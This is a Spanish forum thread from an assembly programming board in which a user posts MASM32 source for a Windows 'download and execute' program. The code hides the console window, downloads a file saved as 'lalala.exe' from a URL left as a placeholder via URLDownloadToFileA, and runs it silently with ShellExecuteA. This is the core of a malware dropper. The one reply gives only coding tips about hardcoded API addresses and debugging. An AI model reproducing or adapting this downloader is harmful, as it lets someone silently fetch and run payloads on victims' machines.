Programación General > ASM (Ensamblador)

 Asm: Descarga Y Ejecucion

(1/1)

Rozor:

--- Código: Text --- ; Download and Execute by xZR !Sub_Level; masm32; WinXP ES SP2 .586p.MODEL FLAT, STDCALL include \masm32\include\kernel32.incincludelib \masm32\lib\kernel32.lib   .DATA   Consola db "ConsoleWindowClass",0  Direccion db "no me deja incluir link",0  Descarga db "lalala.exe",0  Orden db "open",0  UrlMon db "urlmon.dll",0  Shell db "shell32.dll",0  User db "user32.dll",0  Kernel db "kernel32.dll",0  .CODE   Inicio:           xor eax, eax          push offset User          call LoadLibrary           xor ecx, ecx          push ecx          push offset Consola          mov ebx, 7e3ade87h&#59; FindWindowA          call ebx           xor ecx, ecx          push ecx          push eax          mov ebx, 7e39d8a4h&#59; ShowWindow          call ebx                     xor eax, eax          push offset UrlMon          call LoadLibrary           xor ecx, ecx          push ecx          push ecx          push offset Descarga          push offset Direccion          push ecx          mov ebx, 7df7b16fh &#59; URLDownloadToFileA          call ebx           push offset Shell          call LoadLibrary                    xor ecx, ecx          push ecx          push ecx          push ecx          push offset Descarga          push offset Orden          push ecx          mov ebx,  7ca50ec0h&#59; ShellExecuteA          call ebx           xor eax, eax          push offset Kernel          call LoadLibrary                    xor ecx, ecx          push ecx          mov ebx, 7c81cddah&#59; ExitProcess          call ebx          ret end Inicio  

Eternal Idol:
Con solo publicar ese codigo, sin decir cual es tu duda o problema no se que respuesta esperas pero bueno ahi voy: usa GetProcAddress, no unas direcciones "hardcoded".

Y como siempre DEPURA el programa para averiguar hasta donde se ejecuta tal como desearias.

Rozor:
No habia duda, era un codigo muy legible y simplecito, para los interesados puedan leerlo, no hace nada dificil solo xor, mov, push, call y poco mas. Es facilito.


A nivel codigo quitando lo de las direcciones hardcoreadas, que las meto siempre cuando publico el source, asi hay que saber algo mas o menos de asm, me interesan que lo lean novatos no lamer. Que le cambiarias?.



Por que funcionar funciona claro, pero codigo en C mios de hace 6 meses los leo ahora y me hacen reir un poco. Con asm llevo muy poco tiempo y este digamos que es el primer code mio 100% por que lo roto lo he arreglado yo con debugger etc.... y lo he ensamblado y usado.


Gracias al foro y ati que n ove si me estas respondiendo post.

Eternal Idol:

--- Cita de: "Rozor" ---No habia duda, era un codigo muy legible y simplecito, para los interesados puedan leerlo, no hace nada dificil solo xor, mov, push, call y poco mas. Es facilito.
--- Fin de la cita ---

Ah, OK.


--- Cita de: "Rozor" ---A nivel codigo quitando lo de las direcciones hardcoreadas, que las meto siempre cuando publico el source, asi hay que saber algo mas o menos de asm, me interesan que lo lean novatos no lamer. Que le cambiarias?.
--- Fin de la cita ---

El punto es que esas direcciones se corresponden con las versiones de las DLLs que estan en TU maquina unicamente.


--- Cita de: "Rozor" ---Gracias al foro y ati que n ove si me estas respondiendo post.
--- Fin de la cita ---

De nada, pero si queres publicar codigo fuente hay una seccion especial dedica a eso, por eso pense que tenias algun problema como en el hilo anterior.

Codigo Fuente

Navegación

[0] Índice de Mensajes

Ir a la versión completa